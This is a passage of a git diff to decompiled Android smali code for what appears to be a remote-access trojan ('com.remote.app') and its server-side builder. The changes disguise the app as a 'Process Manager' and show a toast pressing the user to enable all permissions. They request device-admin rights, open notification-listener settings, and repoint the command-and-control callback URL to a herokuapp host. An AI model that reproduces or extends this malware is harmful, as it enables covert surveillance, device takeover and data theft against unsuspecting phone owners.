return-void
.end method
+.method protected onActivityResult(IILandroid/content/Intent;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2, p3}, Landroid/app/Activity;->onActivityResult(IILandroid/content/Intent;)V
+
+ const/16 p3, 0x2f
+
+ if-ne p1, p3, :cond_0
+
+ const/4 p1, -0x1
+
+ if-ne p2, p1, :cond_0
+
+ new-instance p1, Landroid/content/Intent;
+
+ const-string p2, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
+
+ invoke-direct {p1, p2}, Landroid/content/Intent;->(Ljava/lang/String;)V
+
+ invoke-virtual {p0, p1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
+
+ invoke-virtual {p0}, Landroid/app/Activity;->finish()V
+
+ :cond_0
+ return-void
+.end method
+
.method protected onCreate(Landroid/os/Bundle;)V
.locals 10
@@ -149,50 +233,52 @@
invoke-virtual {v1}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V
:goto_0
- const-string v1, "Enable \'Package Manager\'\n Click back x2\n and Enable all permissions"
+ const-string v1, "Enable Process Manager\'\n Click back x2\n and Enable all permissions"
invoke-static {p1, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
- move-result-object p1
-
- invoke-virtual {p1}, Landroid/widget/Toast;->getView()Landroid/view/View;
-
move-result-object v1
- const v2, 0x102000b
+ invoke-virtual {v1}, Landroid/widget/Toast;->getView()Landroid/view/View;
- invoke-virtual {v1, v2}, Landroid/view/View;->findViewById(I)Landroid/view/View;
+ move-result-object v2
- move-result-object v1
+ const v3, 0x102000b
- check-cast v1, Landroid/widget/TextView;
+ invoke-virtual {v2, v3}, Landroid/view/View;->findViewById(I)Landroid/view/View;
- const/high16 v2, -0x10000
+ move-result-object v2
- invoke-virtual {v1, v2}, Landroid/widget/TextView;->setTextColor(I)V
+ check-cast v2, Landroid/widget/TextView;
- sget-object v2, Landroid/graphics/Typeface;->DEFAULT_BOLD:Landroid/graphics/Typeface;
+ const/high16 v3, -0x10000
- invoke-virtual {v1, v2}, Landroid/widget/TextView;->setTypeface(Landroid/graphics/Typeface;)V
+ invoke-virtual {v2, v3}, Landroid/widget/TextView;->setTextColor(I)V
- const/16 v2, 0x11
+ sget-object v3, Landroid/graphics/Typeface;->DEFAULT_BOLD:Landroid/graphics/Typeface;
- invoke-virtual {v1, v2}, Landroid/widget/TextView;->setGravity(I)V
+ invoke-virtual {v2, v3}, Landroid/widget/TextView;->setTypeface(Landroid/graphics/Typeface;)V
- invoke-virtual {p1}, Landroid/widget/Toast;->show()V
+ const/16 v3, 0x11
+
+ invoke-virtual {v2, v3}, Landroid/widget/TextView;->setGravity(I)V
+
+ invoke-virtual {v1}, Landroid/widget/Toast;->show()V
invoke-virtual {p0, p0, v0}, Lcom/remote/app/MainActivity;->a(Landroid/content/Context;[Ljava/lang/String;)V
- new-instance p1, Landroid/content/Intent;
+ new-instance v0, Landroid/content/ComponentName;
- const-string v0, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
+ const-class v1, Lcom/remote/app/DeviceAdmin;
- invoke-direct {p1, v0}, Landroid/content/Intent;->(Ljava/lang/String;)V
+ invoke-direct {v0, p1, v1}, Landroid/content/ComponentName;->(Landroid/content/Context;Ljava/lang/Class;)V
- invoke-virtual {p0, p1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
+ iput-object v0, p0, Lcom/remote/app/MainActivity;->b:Landroid/content/ComponentName;
+
+ iget-object p1, p0, Lcom/remote/app/MainActivity;->b:Landroid/content/ComponentName;
+
+ invoke-direct {p0, p1}, Lcom/remote/app/MainActivity;->a(Landroid/content/ComponentName;)V
:cond_0
- invoke-virtual {p0}, Landroid/app/Activity;->finish()V
-
return-void
.end method
diff --git a/server/app/factory/decompiled/smali/com/remote/app/h.smali b/server/app/factory/decompiled/smali/com/remote/app/h.smali
index 2cbe6bd..f605ec5 100644
--- a/server/app/factory/decompiled/smali/com/remote/app/h.smali
+++ b/server/app/factory/decompiled/smali/com/remote/app/h.smali
@@ -64,7 +64,7 @@
invoke-direct {v1}, Ljava/lang/StringBuilder;->()V
- const-string v2, "http://3.90.231.134:80?model="
+ const-string v2, "http://xwizer.herokuapp.com:80?model="
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
diff --git a/server/assets/views/login.ejs b/server/assets/views/login.ejs
index 711790c..2ba3f6f 100644
--- a/server/assets/views/login.ejs
+++ b/server/assets/views/login.ejs
@@ -26,6 +26,7 @@